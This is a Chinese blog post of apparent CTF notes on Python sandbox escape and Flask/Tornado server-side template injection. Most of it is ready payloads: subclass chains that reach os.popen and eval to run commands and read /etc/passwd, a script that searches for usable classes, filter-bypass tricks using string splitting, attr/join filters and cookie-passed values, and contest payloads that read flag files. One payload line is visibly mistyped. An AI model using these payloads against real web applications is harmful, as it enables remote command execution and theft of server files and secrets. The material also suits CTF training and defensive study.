python沙盒逃逸

python2

两个重要的类,一般都会用到

In [44]: object.__subclasses__()[59]
Out[44]: warnings.catch_warnings

In [45]: object.__subclasses__()[40]
Out[45]: file

读文件

().__class__.__bases__[0].__subclasses__()[40]('filename').readlines()

().__class__.__mro__[1].__subclasses__()[40]('filename').readlines()

如图

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].getlines('/etc/passwd')

命令执行

().__class__.__base__.__subclasses__()[59].__init__.func_globals.values()[13]['eval']

().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['popen']('l'+'s').read()

#也可以写成
().__class__.__bases__[.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].popen('ls').read()

# 等价于
object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()

可以使用 __getattribute__ 获得属性, __dict__

寻找可以利用的模块

search = 'os'   #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        keys = i.__init__.__globals__.keys()
        if search in keys:
            print(i, num)
    except:
        pass 

'''
(<class 'site._Printer'>, 71)
(<class 'site.Quitter'>, 76)
(<class 'socket._socketobject'>, 124)
...
'''

比如

来自其他师傅的

object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

py2和3通吃

search = '__builtins__'   #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        keys = i.__init__.__globals__.keys()
        if search in keys:
            print(i, num)
    except:
        pass 

python2 举例

().__class__.__bases__[0].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

python3

().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

python3 读文件

In [64]: "".__class__.__bases__[0].__subclasses__()[127]
Out[64]: os._wrap_close

"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat /etc/'+'passwd').read()

i春秋比赛的一道题的payload

{{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['po'+'pen']('cat this_is_the_fl'+'ag.txt').read()}}

# waf 拦截了 popen 和 flag

flask SSTI

常用的

{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

request对象

这个对象指的是当前请求对象,request.environ对象是一个与服务器环境相关的对象字典。值得一提的是,可以通过访问request.args.get request.cookies request.headers等访问我们的请求参数,这主要是用来绕过过滤。(比如不让输入某关键字,我们就可以通过cookies传入,然后从request.cookies获取即可)

config对象

config对象是当前配置对象,是一个类字典的对象,可以用config.items()来访问。而且它还有一些独特1的方法,from_envvar, from_object, from_pyfilefrom_pyfile可以读取指定python文件编译并加载进来。

绕过过滤

使用内置过滤器来绕过

{{request|attr("get")}} 相当于 {{request.get}}

结合 join 过滤器可以拼接字符,于是:

{{request|attr(["_"*2,"class","_"*2]|join)}}相当于{{request.__class__}}

不过我们可以通过request.cookies['var'] 来进行获取

使用 [] 获得对象属性

{{''.__class__}} = {{''['__cl'+'ass__']}}

限制输入 []

{{request.cookies.getitem("hh")}}

tornado SSTI

护网杯2018的一道题

然后我们通过 {{handler.settings}}来获得 cookie_secret

最后得到 flag

http://efc64735-8171-468a-b0eb-98510cefe54d.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=5af68d1f8101c8a5cea67790540f1a1e

校赛一道flask SSTI题

有一个正则过滤了

绕过,得到密钥

之后伪造cookie

之后得到flag

新春战疫(python3)

这题主要就是不清楚python3的构造,找了很久才找到一个可以利用的类

payload如下:

{{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['po'+'pen']('cat this_is_the_fl'+'ag.txt').read()}}

参考

https://blog.szfszf.top/article/16/


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论

文章标题:python沙盒逃逸

文章字数:889

本文作者:prontosil

发布时间:2020-03-10, 15:19:07

最后更新:2020-03-18, 15:41:50

原始链接:http://prontosil.com/posts/ed9dc04e/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录